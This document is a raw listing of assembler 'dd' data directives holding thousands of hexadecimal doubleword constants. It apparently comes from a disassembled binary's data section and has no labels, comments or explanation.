dd 17BEA424h, 0E84010CBh, 0F3A710F1h, 0E30E5E31h, 53AC00E7h dd 4C4770B7h, 0FC4AF9F8h, 62F2A5E7h, 0F17A2C87h, 694CE997h dd 1DA84A04h, 9C6B4305h, 65A41E7Fh, 58256BC6h, 0D979C811h dd 8804827Bh, 465FAFEBh, 59DFA109h, 0BEEAE460h, 6BE9E090h dd 0C7B397DDh, 824E2DDAh, 6B6C519Fh, 6EC053DCh, 6A014A3Fh dd 8F8CC8EFh, 64729A68h, 1A64E920h, 0F1EB9D4Eh, 0EDC06BF3h dd 48925C68h, 83F2E927h, 0E0555B6Fh, 7CE64B9Bh, 0BA04A23h dd 118B299Fh, 0ED091878h, 8249640Ah, 0DA7B4BA4h, 665802B3h dd 5B562DDCh, 909FC5F8h, 0BE5AD322h, 8533089Ah, 70094326h dd 0A12148C2h, 6C1A0113h, 2068D2F7h, 0A1CC3F7Bh, 4CC41A5h dd 0C9B5B9B1h, 8DBC5456h, 0AFF7BFFCh, 0BFBAF170h, 0BBC1F625h dd 47CA3A54h, 72645826h, 92A4C7Ch, 1E1D4CC1h, 903E4781h dd 0D04036E3h, 4C297E1Ah, 34926410h, 0F0ADB9B2h, 0E09521DEh dd 97075E05h, 30F171E6h, 16B7E8DCh, 0CE889D31h, 692C6048h dd 474F028h, 1F20665Bh, 0B65202h, 0FEDEF6D1h, 0A8EE80C6h dd 8C17E92Ch, 4CF26880h, 905A6073h, 2E950E4Dh, 2DF560Eh dd 2DC16E9Bh, 0F270B662h, 0E304AC07h, 0E245782Ch, 5C704CE0h dd 53D640EFh, 4AB8A4E1h, 0BCAD7A4Fh, 8104B993h, 0FE9B9EBh dd 41AD5D24h, 0C5D03B06h, 5F3AE8C3h, 0A1D5C5B5h, 0F9F84196h dd 0C98005DAh, 0F436AE37h, 0C52BC82h, 552E215Dh, 40403BB4h dd 64570Dh, 95352BFBh, 0E9336C56h, 0AABD0B2Ch, 9405449h dd 5951478Dh, 9478A380h, 0D662E93Fh, 9A6B82Dh, 54412C11h dd 85FA690Ch, 72D4C738h, 4131F22Dh, 8028AC7Ch, 0ACEA654Bh dd 3006051Ch, 6FBD087Ah, 0EC5F2585h, 4CF9C05Ch, 952153B5h dd 0D02F437Bh, 65CA0120h, 0DEE9F444h, 0B0E22BA0h, 0E5A9CF8Fh dd 0F2E58843h, 47047B04h, 128D63Ah, 1F5584EBh, 6CD0BC08h dd 207BB859h, 36C0B8D1h, 616D5E51h, 1C86A049h, 722C0174h dd 0D15FF909h, 3D2481E1h, 2973B3B7h, 2DF5FD35h, 13938838h dd 7EE0E898h, 50C49896h, 0B25AA3B8h, 0A402C8E2h, 297A2F08h dd 0E916DE9Ah, 2D54793Ah, 1ECC584Bh, 1B57629Bh, 0EA02F3E8h dd 20A44E63h, 789419D0h, 7503D924h, 4029539h, 51092B0Ch dd 4162E905h, 140CA008h, 8068580Bh, 7A35FE24h, 66C523F4h dd 109FCDF8h, 0C1211778h, 1A764D21h, 0E9CB362h, 54080C3h dd 4D946866h, 325EE970h, 28D312D1h, 0DE23581h, 83392348h dd 6873EF0Ch, 91FE0036h, 0E9027AEEh, 76D6F543h, 0B5AD7AE0h dd 3290B266h, 95E76A20h, 0E1604ED0h, 0D7C981A5h, 599F0A37h dd 2CF5D9F7h, 48CB0EC4h, 0C02ED289h, 1588324Bh, 0B4CE011Ah dd 304B8960h, 0F512BBF9h, 13AB4F99h, 924CA2ECh, 108C92FCh dd 0C8B72197h, 30E957FFh, 0EF59D6CCh, 22C0753h, 0B8834ED4h dd 9C39E6F2h, 41B60086h, 15F320D1h, 71A78BBDh, 0B05FBE20h dd 40820369h, 3D1DB0F0h, 55AF66E1h, 77F491C8h, 0EB5E149Fh dd 1F01E513h, 68D831ADh, 0B7C702Bh, 4223B8CBh, 0A9EA840Fh dd 84282585h, 0B745BB50h, 1AC00BEFh, 48FE01E1h, 0C340E95Fh dd 92E64183h, 8E405C0Ch, 0C280DA28h, 4EA5B0B4h, 0BAF588F8h dd 121655F8h, 1EA8290Ah, 0E1895A27h, 50EDA05Dh, 16D06853h dd 159951h, 0BD5BDDCh, 0E92403F7h, 73AC0A1Eh, 0B7A36E25h dd 5BE93EB0h, 6818DD92h, 0FD152838h, 6783B48Ah, 3CF4F252h dd 41C9DF5Ch, 0F7715994h, 92244547h, 43CA8BE4h, 0AE372A2Eh dd 93EBD03Bh, 79D3B04Dh, 95F7F9FBh, 0B25B9176h, 10EF90C2h dd 0CF411832h, 7A4D5740h, 0C13C03F1h, 0F78702E7h, 9E7CDE92h dd 42106C3Ah, 7D5B0999h, 8E065264h, 0C5BD79CEh, 24D3258Bh dd 68BA0209h, 3D5D6848h, 2CAF07AEh, 0FCBF08C0h, 703C4E17h dd 0CF02E4F8h, 71E11B9h, 0AB170040h, 764FB424h, 67F36A30h dd 798E481Ah, 68DFD11h, 6F64C4E3h, 867C2FDAh, 0BB045464h dd 0EAA3B77h, 0C48B4BC0h, 0FDF14B55h, 0B49190C1h, 2CE909D8h dd 60497709h, 0B5C3B252h, 0D54A30E8h, 9A343CD8h, 0CA30A050h dd 3B3118D9h, 25894E62h, 0C1100A07h, 0F1F006E1h, 129C7536h dd 8ACA317Ch, 6564D2Bh, 1DC743FCh, 4EE4094Eh, 58802695h dd 79761BABh, 665ACEBAh, 576F7689h, 64E5144Ch, 6B407A00h dd 0C3E5816Ah, 13674412h, 169874F8h, 0B03B749Dh, 0C2F5023Eh dd 0E3760F1Dh, 2F79C828h, 0AE91750h, 3B01B9C1h, 0B174092Dh dd 0BEB1D562h, 0CC75DE68h, 12DB4A78h, 49890D49h, 4FE9D06h dd 390180A8h, 0E963F6FBh, 627D9646h, 810B1D24h, 47C0BB53h dd 0A9C16A80h, 0F7DC02CBh, 0E745B029h, 8825E02Fh, 469D7BF3h dd 0C0F95460h, 48EEF317h, 0F73116BBh, 9A0810DBh, 0C43AC171h dd 0C2889131h, 89CF2F1Ah, 15F2F101h, 3A0174CCh, 0C041F009h dd 95DF2C99h, 0A19242AFh, 0B74FFC6Fh, 0A30EDB91h, 0D3548E42h dd 0B2F0E156h, 5ABC4012h, 2964259Eh, 38C4E681h, 2D3BA73Fh dd 4022C246h, 12DAD3C4h, 0BC290389h, 56BC4A38h, 6BE0D3B1h dd 0FE2F7B04h, 6BE15C8Dh, 8A3E3235h, 57560045h, 50406C68h dd 984CB802h, 71E92522h, 0F0B25049h, 4E5C4BF5h, 40B044D1h dd 0E8C14800h, 5C3C3504h, 32687FB5h, 803415CFh, 0F1997543h dd 6FB03E56h, 0EE883959h, 0AFF61FFDh, 0BEE94428h, 812AA5F3h dd 7CF8B9A6h, 0B63A11D9h, 17083CA4h, 9707EE26h, 1304658Bh dd 0AAE384h, 1EF47F92h, 0EAFEF587h, 0B8A5755Eh, 0E25A5360h dd 186F48D8h, 4D1B010h, 2C1835Fh, 997A01C9h, 474ED7Ah dd 625D44BAh, 732FE29h, 959E6431h, 7E522BE9h, 0E29B1E8Ah dd 0C2F72C5Ah, 4A54682Dh, 50A956A5h, 0F4E54C5h, 7EDDDE0h dd 606D7EDAh, 7205CB01h, 304BB436h, 3ABE761Eh, 7AE0E8D2h dd 0EC072FEh, 0CD0F6C8h, 0B097527Fh, 0F71CBE50h, 0F12FCC02h dd 0EB443041h, 34124726h, 0C18540E9h, 26F1CE9Dh, 0B600846Ch dd 0BBB753EEh, 801CD7F6h, 0FE1493F7h, 0DC1B25E7h, 1E5D5284h dd 67F39750h, 7182EE01h, 24820F86h, 5C5A2752h, 1C41FCC3h dd 141CA008h, 0FED45F4Eh, 22FAEE7h, 0D5E91351h, 90201394h dd 0CF350773h, 0A2AFCE6Bh, 0BDF4C093h, 0D53EEF79h, 8B93B2B7h dd 35C805C3h, 0EE1684E6h, 255AE33Eh, 2067A1Ch, 0C83110E8h dd 647F5396h, 39BB1E58h, 0B827522Fh, 2CB94A91h, 0A474F8E4h dd 4ACDD50Ch, 2CB90968h, 3A007A8Eh, 7118AFE5h, 282D6D48h dd 407CF7DCh, 3023CD06h, 91874A7h, 22EED660h, 33C66F0Bh dd 2007AEC9h, 0E0D02DF8h, 0BDB24F42h, 30F405C4h, 7BFC3DBCh dd 4EE90740h, 0BAAF85ECh dd 0CFC2364h, 0A7DCE218h, 582F1D8Fh, 9E73C532h, 7E768BB9h dd 2C90880h, 52608C62h, 21354C66h, 0BE1F86Ch, 41FB5BCFh dd 0DA3B417Eh, 622D9C20h, 3462CE4h, 9D02A71Bh, 10478A6h dd 0A75E50BDh, 0D0E98438h, 0EB6D12EAh, 58C76C61h, 3095E63Bh dd 0A9BD0B30h, 0C51C4C64h, 1DAA2810h, 8840EC80h, 0B35358E5h dd 0DFB2384Ch, 20E9DA0Bh, 6B2D9B41h, 0A26842D0h, 1557C43Ch dd 2000ED90h, 3F1AB772h, 0B80398D2h, 60902DE8h, 3E4BDE9h dd 0CBA30FEDh, 0D76FD9D5h, 0D2BEF8F2h, 46AB7D08h, 0AD76E522h dd 15FAEF29h, 71FB973Fh, 0D2386F99h, 0A0FBAB24h, 16034FBEh dd 0F0B3984Ah, 0FF06C483h, 0EB0399BAh, 27636F56h, 0DD0E044Bh dd 0BE06052Dh, 62783680h, 0DBEC4C91h, 0EFB8904Fh, 0A5044B88h dd 5F595758h, 538788BFh, 0C19A5B97h, 6322F7E9h, 3BC54CF3h dd 276840C2h, 0C6FC4B67h, 747A7FE2h, 0B85F886Ah, 0C8082226h dd 972C02F9h, 59457A04h, 2847B585h, 0E913BBADh, 66CA41AAh dd 0E435CDBFh, 0CABFB69Fh, 31B2B05Fh, 9642FEC2h, 0F168041Dh dd 0EC8FEF72h, 0E984B149h, 5DD7B03Ah, 50CE96B7h, 6219CE52h dd 1AD4F17Eh, 0DC973F59h, 0C160B4h, 12B9C06Ah, 59304A21h dd 9489D490h, 8960D95Dh, 5FA0145h, 35F7F276h, 0CA0C6A62h dd 10B4C5D2h, 0F70EB852h, 2948955Eh, 0B8818D1Ch, 0D0EB212Eh dd 0F90CDC81h, 370B8424h, 0DC3C8B2Dh, 9E9D914h, 0B69207D4h dd 481C828Ch, 0A2D8220Eh, 6EE8894Eh, 0FD5DEA16h, 84612F64h dd 0DABF5838h, 2F1E11DAh, 0B55E81Eh, 6AC8932Dh, 6A168CC5h dd 0D3445304h, 98AF8303h, 0C84A93EBh, 14D5A41h, 8AEC2E22h dd 7F8880B3h, 2FF2385Fh, 920C3C4h, 0C11C7659h, 29D03046h dd 0A4E90B44h, 0FA403B0Ah, 8800F114h, 5C038472h, 0CB4AE2D1h dd 0C8F8E43Eh, 0A921179Fh, 368C5F4Dh, 285829E9h, 0E1F60914h dd 0FEA0AFF7h, 0B9E1055h, 185DB768h, 0E4CE887Ah, 9A1B9F7h dd 2327D44Dh, 0F8F072D1h, 0C95F8907h, 7C49E2DCh, 0F2DA722Ah dd 290D3E91h, 0D92A1B03h, 0A10E7E8Eh, 4B561E65h, 0E53093ECh dd 13E1E918h, 8B154897h, 63C5BF08h, 0B9578AA0h, 2E5717DDh dd 2B1C15D2h, 0D5206D2Fh, 5E2FB34Bh, 2D87E916h, 521E01F2h dd 0ED0B8956h, 7FC62191h, 72E75D16h, 82B14C64h, 6355D0DFh dd 0E331A594h, 237644C2h, 53AA6419h, 5756448h, 93C55307h dd 6A4C89A5h, 48E29AABh, 1405BA57h, 0C72A1968h, 298908BCh dd 6722D5F7h, 0EF9B1713h, 73CE77C3h, 0E2B60095h, 48AC559Fh dd 57055E3Ah, 82CF78A9h, 536604A6h, 1A250090h, 7D6DCEA0h dd 0CBDB9758h, 0CA025612h, 0C0197BC9h, 0CBCDF2E9h, 0BA5C890Dh dd 5DBF05C5h, 54FA6D4Ah, 0E9162B98h, 0F8BCCBA0h, 8F20DCCBh dd 0ED15F2B9h, 5E993658h, 0E05E63D5h, 0F4CA2057h, 607C9840h dd 0F7A3FFEh, 58B563ADh, 0C2C0BCFDh, 0A2805AD1h, 5EB3652Eh dd 0EFB95101h, 8730674Ah, 0D2DD3560h, 794A0108h, 7BAC12A6h dd 0EF113Ch, 2A926459h, 0E908E7C1h, 0FD0E744Bh, 0A3EAC557h dd 5839B2A6h, 42D8192Ch, 5B006E32h, 9759CB89h, 0A2978644h dd 54FEBADDh, 4A13C298h, 1D5EFE6Ch, 6EC7E390h, 62AC00ADh dd 355FF809h, 0E163FB0h, 4C058907h, 0ACD18560h, 5DE005E6h dd 907FD094h, 0E00CB805h, 0C182AB43h, 91E07742h, 9BB9AC7Dh dd 6D52539Eh, 0E1FB27EBh, 7073425Dh, 10BC300h, 0A3E1B8h dd 0B70D1161h, 0A1295E2Ah, 5B0800E6h, 13C2D6F7h, 83265C41h dd 9097F5BFh, 0B0CE3123h, 21CC2559h, 9B0CC765h, 0F7EBC16Dh dd 6F6CE140h, 25207E7Dh, 4C646EF5h, 41EE10Bh, 9AD00D43h dd 0F75D0800h, 0E33AC1D3h, 824C5E0Ch, 2430FF1Eh, 4DC0D014h dd 0EC62B7DEh, 0F609FA17h, 814E005Eh, 865CFDCEh, 0E2C2A7Fh dd 19A54D8Eh, 0AD608985h, 5A9540DBh, 1DC32C38h, 2D3B04E8h dd 137B6629h, 0AC10FD68h, 5A55A83Fh, 0E30EA832h, 4C2012EDh dd 0DBBDF4A2h, 3E409898h, 0C7CE8308h, 0ACD757A2h, 9CF2A29h dd 4D600E5Ah, 5A9C4152h, 9A178BA6h, 82ED0E52h, 1444BBD6h dd 81002C46h, 62711CF7h, 0C9797F59h, 4D8858B9h, 35106731h dd 295D13D8h, 4BA13DA0h, 9ED4AD6Fh, 157C33BBh, 7771BAE7h dd 0CC68A9A1h, 0B5B4385Fh, 45BE4B95h, 0B81A83FBh, 609DC196h dd 96F53316h, 0BA04043Ch, 81713532h, 1E4DD1Ch, 0FDC8E788h dd 1E9B9F5Bh, 0C3D9EBDAh, 649351E9h, 4C24BE20h, 1E302AE1h dd 6800F350h, 0AC2D5AEFh, 283CE51Ah, 31D00F21h, 0E7803F3Dh dd 2B7F72A4h, 0AD2B719Dh, 650C9E7Ch, 4FEFF730h, 0DF93EC5Dh dd 0CDF16992h, 3B72AF35h, 5A009DD1h, 0BB52DC50h, 9B16D775h dd 9AB201E8h, 0AD5AB948h, 25BC1242h, 31805037h, 9F79903Ch dd 0E506C76Ch, 2E560612h, 948F4C8h, 5E94499h, 0C07789C2h dd 25279F9Fh, 1B5E2BA5h, 29DAE02Dh, 0CDE92FD0h, 1AB11EE0h dd 30DAB218h, 0B0501Ch, 34D0F6ACh, 0B1EA805Fh, 0F2C2283Ah dd 626671EBh, 0AFE9129Ch, 0DA1388h, 0BB79D272h, 9D0C8DECh dd 0EA950A98h, 8347EA4h, 5F1ADE4Fh, 2705BC5h, 24F4E9DFh dd 0E288387Eh, 7C226ADh, 0A2407F5Eh, 0B055B5C9h, 0BB01D406h dd 50558F73h, 9118D880h, 40595839h, 2C2E48F5h, 0CFA5B234h dd 0E95285D9h, 0F9D6E1E3h, 286CDD4Eh, 0AC2124B3h, 5D20F128h dd 6109FCB7h, 0FAB30A6Bh, 0E8EA8CF6h, 41FB1DA4h, 0A7B6286Ah dd 0D77463E2h, 0FE25A9C7h, 0C1E9D023h, 0F6812096h, 884359Bh dd 128C9230h, 3146B79h, 9D66D507h, 0D20180B4h, 1E89964h dd 0C22559BAh, 4523489Ah, 0E56881D4h, 0D9A63A69h, 0B160167Dh dd 21DEC5Ch, 0B5305DC1h, 0FBC15D6Eh, 0ECC63006h, 4F2C5B81h dd 45B5B3A4h, 0C97020D6h, 5F58F0A8h, 386C9BB5h, 0D1C1291Ch dd 0CFF6DCD7h, 69EB519Dh, 0A1CA9A5Fh, 9D68E9A0h, 0D22E7A35h dd 0BE6498CCh, 2A11AE05h, 0CF84890Bh, 483293C0h, 88275822h dd 0A3033303h, 48E6016Eh, 17BB9040h, 0B0103ACFh, 4095DD0h dd 9315C8Ah, 8F8D74D4h, 43E5B7E9h, 8B89AACEh, 72F11880h dd 314C6D25h, 873FA890h, 2625DAh, 502E687Eh, 0BC6F4BA2h dd 0BBD31347h, 818071E8h, 741941C9h, 4D20D498h, 0AD5A4AB7h dd 0DA1A1024h, 14EA6D6h, 7520349Ch, 0CD7A4481h, 5310AF2Ah dd 0B35E3C3Ah, 0E9887B4Ah, 61C94AA5h, 6487EBDEh, 13BD4504h dd 4A7BE2A8h, 0B08D186h, 41E86988h, 0FA266098h, 4626FE47h dd 8DD9F689h, 82DE4F70h, 9DB62F0h, 0BC4E6B85h, 456C4E63h dd 5BA45870h, 8F1415DEh, 7C279D48h, 49520D87h, 5AF05780h dd 0F881C730h, 66A0396Ch, 41970F68h, 8E3FA1EEh, 0F94A7EB2h dd 0EFBC12C4h, 2CB68950h, 3F00E725h, 422A8CEh, 0A218DA4Fh dd 97AA9085h, 4BFCDF5Ch, 0B314A197h, 9571DD20h, 0F9297E10h dd 0AE135B9Fh, 68DE8B32h, 0BCEEDB5Ah, 3DBD35C0h, 0B150CCCBh dd 0D2C908E8h, 6EAFBA00h, 2811BFDh, 3C51EDCAh, 0AE1420Eh dd 5DD504B2h, 7A5E387h, 0AAFD58E1h, 0B59669B9h, 997CBA30h dd 88C65F9Eh, 58955C67h, 0DC8F8076h, 5FDF1621h, 7F080349h dd 29B985E7h, 106139D1h, 174887CDh, 4B1BB809h, 3C4AE8Ah dd 23A502DEh, 7F00C04h, 70C06243h, 0DD5A5D1Ah, 30E7828Ch dd 0BD566670h, 0D5390E05h, 0F5AFD1AFh, 50C77E5Eh, 9985D664h dd 3B8C9116h, 60652768h, 5B9676D3h, 19171605h, 8B6E7C39h dd 55CE2612h, 0F575B8Bh, 0BE6A815h, 1A5DD768h, 2D6A4113h dd 2CD36600h, 0F2279692h dd 47015967h, 0B54211BFh, 798F407Ch, 5CC5EF0Bh, 8DE80685h dd 0A407B9D3h, 4A30A899h, 57A0BF08h, 646B1E29h, 8E2648B7h dd 3EB272Ah, 0E9182C58h, 0F193CC2Bh, 4479387Dh, 8C80996h dd 0C728F0D9h, 5D00148h, 0B923E0ADh, 886104A5h, 0CB7EF621h dd 1AD85F79h, 0BB01FB42h, 49B3EC4Bh, 0D85FFB98h, 3FACB112h dd 0F71662D0h, 2D68921Dh, 5B26295Dh, 23F10B1Fh, 7F0561E4h dd 0CB013710h, 74D873C2h, 0D9056998h, 10CFB6C3h, 662C92DFh dd 0E2E33926h, 56C36A7Bh, 1794BED0h, 84F31CC9h, 0AC138933h dd 8A4D7839h, 2159123Bh, 5528D10Bh, 703838A0h, 68127BF5h dd 1A4B45EAh, 0FBB51092h, 0D33F966Ch, 4A020C22h, 8BE2F955h dd 0A47CDB5Dh, 5FED10ABh, 2D68CE70h, 34489D0Eh, 438A3B6h dd 0B1F0258Dh, 0CB508C18h, 37F7CB8h, 0B025136Fh, 5C07D12h dd 33005AEBh, 65354052h, 68120B2h, 91E9C229h, 0F75838AFh dd 0ACB91270h, 0B02F64FAh, 3914DC70h, 46E13E29h, 0D85878DCh dd 0E9104016h, 25F168EFh, 4AC27E5Dh, 0FE13130Fh, 512B5A77h dd 604C1E8Dh, 0A159509Dh, 66252098h, 2B481466h, 0ED471C05h dd 0B201C011h, 6AE5734Eh, 8A8C31Fh, 4E141CD0h, 94390645h dd 9F2BD2CDh, 0FCC4FA8h, 0BE81DC1h, 96680431h, 0B1CCFA1Ch dd 1A20EB5Ah, 2BE44171h, 14CE3B6h, 65DD84h, 0AD5D03BDh dd 0A472984Ah, 9A449006h, 88525A51h, 864058BCh, 0D8599531h dd 42FE2964h, 0A5D0E96Fh, 54800574h, 0F71DDC68h, 9F3F0D3h dd 59264BF8h, 63EB8801h, 0B75DA66h, 3E3B68E2h, 3C7995A8h dd 9FD1B646h, 53602651h, 9D8AA7E9h, 0F5209644h, 685B09A6h dd 30DF48CBh, 0B602EA5Eh, 4594C2CAh, 32E1842Dh, 61E95F84h dd 500CB387h, 9D9A0A05h, 286C6816h, 559562EEh, 977434DDh dd 0E698EB6Ch, 0CCA8114Bh, 5FB06884h, 93B7C74Bh, 0C881D3DFh dd 9D4F364Eh, 0E2078950h, 29E18CABh, 1A915569h, 0D3DD3F51h dd 0D92CDBF9h, 7DEB800Fh, 88B6FE05h, 767AFA94h, 7E467E27h dd 4509BBAAh, 5D017A9Dh, 47E74C0Ch, 4EE06FD4h, 9FE98F28h dd 0A49DC7BAh, 2DFB547Fh, 6F623ABDh, 2FE398BEh, 7E2981A2h dd 4D8C0735h, 42644091h, 0EA86A09Fh, 7FF83D58h, 78AC2D6Bh dd 11F01148h, 7857A727h, 9E88FC37h, 80EB258Bh, 3FEA0ECAh dd 0BFE04555h, 0E5027AA5h, 0F5E0492Ch, 6495AEDFh, 0A9C18118h dd 680AB373h, 6FF53847h, 0AA74BB01h, 31DF254Eh, 2B6CE538h dd 55804974h, 482E60ADh, 0C8045A6Bh, 0EA79C666h, 3CC9ACD0h dd 0F02C4E91h, 75125606h, 0EFF8479Ch, 688B0288h, 0B48874F4h dd 5EDF9C5Eh, 931647B5h, 0E46821D3h, 7D050263h, 0F6124BCBh dd 2EF2EDDBh, 59FC680Bh, 0B7206BC6h, 0B709870h, 0C081B551h dd 0C5FEED03h, 76A50A40h, 0F1CDAE4Bh, 0CB1963Ah, 58BD499Dh dd 0B362B829h, 5C6A05E9h, 2C576D5Dh, 124CE23Bh, 55685C01h dd 97B8E6CEh, 0E984F715h, 0DCFB1E64h, 8525C32h, 99542290h dd 0A5662412h, 0EFEAE57Eh, 0FB6D0A01h, 0CA684D27h, 1902374Ch dd 907D903h, 0D095EE2h, 0F4E86122h, 0A4F85140h, 0FDAA4B83h dd 0B1FC7BFFh, 141317D2h, 0C98423E8h, 55B598D5h, 0C6E6687Ah dd 54AC504Eh, 3707E04h, 52C0FF07h, 9D30B841h, 36421FC0h dd 35053FFCh, 559F760Ah, 4B0D83AEh, 40B26EE8h, 14C04871h dd 5A08612Dh, 17EBB48Ch, 8BB1389h, 327F8DEh, 0B6DBAFh dd 6D66F6A5h, 0F7319656h, 620D5E5Ah, 0DA4621B8h, 8B87EEEAh dd 9D5D20C8h, 0EFF57C4Ah, 0DA80806h, 394B64B0h, 65122E8Ah dd 890E53BFh, 2AD661AEh, 958B3116h, 0B00E2225h, 266274A6h dd 7E76BE05h, 0C4BA6928h, 3B6C83F9h, 465F8BC0h, 3002C2C3h dd 0F289B9AFh, 1C38AC31h, 66CB135Ch, 1D001B5Dh, 0CDDEB259h dd 7E0EC5C4h, 0F3C89617h, 24C75F5Fh, 9B4A87Ch, 51660168h dd 0BF5488F5h, 0B50B2226h, 133C796Bh, 107891D2h, 0E2722B62h dd 0B7F84E51h, 639CAAF8h, 27EA5349h, 0BB15D03h, 0F9BA1002h dd 414C235Bh, 1521788Bh, 227CD4C6h, 7DC0C4B6h, 6B6802F1h dd 0A67BD331h, 5343CB69h, 0CD57949Fh, 422CA4ADh, 4492D45Ah dd 16E94280h, 0C565DF10h, 0C0835A85h, 15502DFAh, 80A98491h dd 0CC6C2CFCh, 98E97509h, 5A54FAEBh, 0D22CB8B8h, 0C98A0811h dd 0D8186C2h, 1C89BC0Eh, 494A2868h, 6A55CDC7h, 6DA2E840h dd 251C7EE5h, 1568D969h, 27BDD1C9h, 33E54F24h, 35F41AB1h dd 0A30AD661h, 0CAFC4FDCh, 3A1F268Dh, 0E3C673A2h, 1ABEC7C4h dd 2F0FB23Ch, 52027729h, 0CC0A74BFh, 57D59309h, 0A70FF32h dd 65BF09F6h, 758E02E9h, 0CC4151F8h, 1052A07h, 0DDBF92C0h dd 0F6C66137h, 0DA2F5FD4h, 4088252h, 113CDAEh, 7B5C4748h dd 349CFD63h, 32B1665Ch, 8160B288h, 6D354FF9h, 0A4816C5Fh dd 422A3AF4h, 2827E5h, 0DA416C8Eh, 0D6E9166Fh, 3EF6269Ch dd 214F2070h, 807A41F0h, 0E61D8852h, 0F403D6F6h, 93D4305Ah dd 0E9080DE2h, 2E268CA3h, 8D13B2E2h, 688F9DDCh, 0CFC618AAh dd 7F2859CDh, 63F8C4D0h, 0C2EA4E83h, 431EBE3Ch, 82AC725h dd 5B2F1B2Fh, 0F7CF2C1Ch, 1CE47E1Bh, 8E28B838h, 2C29654Fh dd 0BE0812EAh, 26816B35h, 822DE211h, 237C2860h, 0B19A491Ch dd 16C14A71h, 0F9D3390Eh, 2B20A025h, 18175DCAh, 0EF030F16h dd 0E3916F3Ch, 0AB8CCA7Ch, 0CAB7B92Bh, 37CE8137h, 0B230DD5Fh dd 0E8144F79h, 0FBADE404h, 5910A110h, 8B688CF5h, 0BB83C15Ch dd 300B0327h, 0E92FDBF1h, 0EF1E4838h, 0AE310730h, 85CF0133h dd 59080BC7h, 30FDC5EAh, 0B42D0B8h, 2DE923C7h, 5C5B6F50h dd 68C7A6B6h, 71741B67h, 4E7E68D0h, 0B08AF810h, 401EE81h dd 2950B769h, 1F86C4D6h, 5D2D3F08h, 903B4122h, 2FBCDD09h dd 0F67DC195h, 0FBC3D16Eh, 0A00D0098h, 31460161h, 87921205h dd 84102A99h, 97212095h, 0A820B6FAh, 0F6612BDh, 0F4BE21BBh dd 3CC2625Eh, 8E7F1405h, 9CBC5B13h, 45E79F16h, 0C71CB291h dd 6743A2F5h, 243C9279h, 2C89F662h, 258ED792h, 8B092828h dd 6CECD91Ch, 0F99D020Ch, 0D702EB90h, 0B3182CF7h, 506600CFh dd 0B490B551h, 0EC4D2809h, 73F29947h, 0F007593Fh, 0D8402223h dd 7331B130h, 802C1E51h, 592C79E9h, 5E604B8Bh, 0FD011DC4h dd 0D6CD817Ah, 0C420D277h, 63F91AE5h, 95549CD4h, 459C2B0Eh dd 0B2122997h, 94B152F8h, 0DD5802B6h, 687C32CEh, 7CB91E5Bh dd 3E8895A1h, 48C5D22h, 1AACE250h, 5DEF9993h, 3E255364h dd 7B01C8ACh, 5175160Dh, 0A8CBC221h, 4597CE70h, 5CA2FCFh dd 16E1675Fh, 8B75A866h, 0DF92C26Ch, 7911F730h, 0E90ED60Ch dd 9731C377h, 0F22501F1h, 0B73227CCh, 2F515C91h, 0E9C422E6h dd 9EEDA2A7h, 48DA80C9h, 16F8FE86h, 0FA05A14Bh, 4CC26456h dd 744DE90h, 0A4558935h, 220CBB91h, 0BAD95B33h, 2A43BDA7h dd 6164FFF5h, 488417FDh, 585F0A98h, 801684E9h, 7108B7E4h dd 40AC149h, 363CF168h, 4652070Ch, 78F2389Eh, 71E75D73h dd 5902C68Bh, 0FFE98907h, 8B687176h, 0DF9E6225h, 5D09CCC2h dd 0D38895D4h, 9933A74h, 74A8A35Dh, 83441F4Bh, 0BB304FE7h dd 0D72E3ABFh, 0EB12B240h, 4BD3BEA5h, 0ACB0F824h, 0F3D84921h dd 0DE34BFA4h, 0F0A86282h, 0D5F60747h, 30ABE580h, 0EA309EF5h dd 322C591Ch, 0E52D009h, 0CA88C1CFh, 1C788EE9h, 5EBA6809h dd 0EC973244h, 942B54D1h, 3FE7AC5Dh, 3580382Dh, 2FA30534h dd 0E2974730h, 94070F70h dd 0BF8B5F11h, 922AD61Dh, 6877F03Fh, 25436520h, 0B048CE9h dd 0B9D8EE56h, 92A75FD5h, 33CA71CBh, 2DAFE7D7h, 280A1AD1h dd 0C845F1EBh, 0B33B70E1h, 0F15CC952h, 18DC2631h, 55E2EDFh dd 0CC53E01Dh, 2DC80105h, 5CE30712h, 0B35AE909h, 0D3B5DCC4h dd 0B460157Eh, 0C010F048h, 0F06627E7h, 0DA014186h, 4546F1E0h dd 0F925A62Eh, 300851B9h, 6C13A0FFh, 812C9Fh, 0C907C424h dd 30B72D77h, 0E96DB43Bh, 2E1B192Fh, 0A73E2231h, 5157C9A3h dd 0F6F20EFDh, 4906E80Bh, 65A0ADEh, 0B9365BCCh, 0D9BE0918h dd 0BF769C7Fh, 3724B64Fh, 3C89D225h, 8613B1F6h, 0ECB9575Ch dd 8AA44FB0h, 91FAB55Fh, 0A16AEB24h, 95F56F97h, 34A98F3Bh dd 9C01E165h, 16A827D0h, 636C0DEDh, 84D6874Dh, 0C927BC23h dd 0B32E2074h, 12C3FEACh, 0EE97EB80h, 9739061Ch, 59ED1604h dd 1A5D11C9h, 8E1675F2h, 7E95156Bh, 0D01BD8E4h, 0EDC912A1h dd 0AA227A3Bh, 46AB752Eh, 0C079C5Fh, 2FF96851h, 0B0440C6Fh dd 42BD0ECFh, 0F7C14971h, 0FCAEDA79h, 0D397FA31h, 0BE65272Eh dd 0F3C9090Ah, 680BD311h, 187F7B83h, 0BFDCE96Bh, 0A2DFA6B2h dd 0A2ED23D5h, 775EF5B6h, 214AC593h, 0FAF439BDh, 0C0997F67h dd 2D685885h, 805E18EBh, 5B951C0h, 756D2717h, 13049274h dd 260E25BBh, 0B365B527h, 0C513CCA2h, 0EFE36DD5h, 89A3FD13h dd 0C5C7A0FBh, 89EF4Ah, 6187F0FFh, 5AC79DC3h, 62683430h dd 0EE1EBD50h, 0E2237195h, 75A2BE56h, 44B5D7h, 0CD270877h dd 976C5826h, 0D128A7C4h, 0EC09E5E7h, 0E032DE30h, 9F623FF8h dd 0B0772612h, 91E57C03h, 5F9C0287h, 0D55181h, 0F2B850DEh dd 0A30272Bh, 74B473F0h, 7E69CE87h, 0BE973D1h, 935E5D9Dh dd 5428820Ah, 0EF6B3355h, 552F62E9h, 795406E1h, 2FA292D2h dd 947FF841h, 0ADCC08D9h, 0B7CBB600h, 1DEF80D7h, 5DF72841h dd 45A44C7h, 0D8DE8249h, 5E3B900h, 0F6167E4Bh, 5C3FCB61h dd 0A225B5C5h, 4672EE7h, 0CB868047h, 1E7C347Ah, 4E2B6649h dd 45D77B62h, 0FE4BA7DEh, 477791FAh, 0C5153FF0h, 0D00FC094h dd 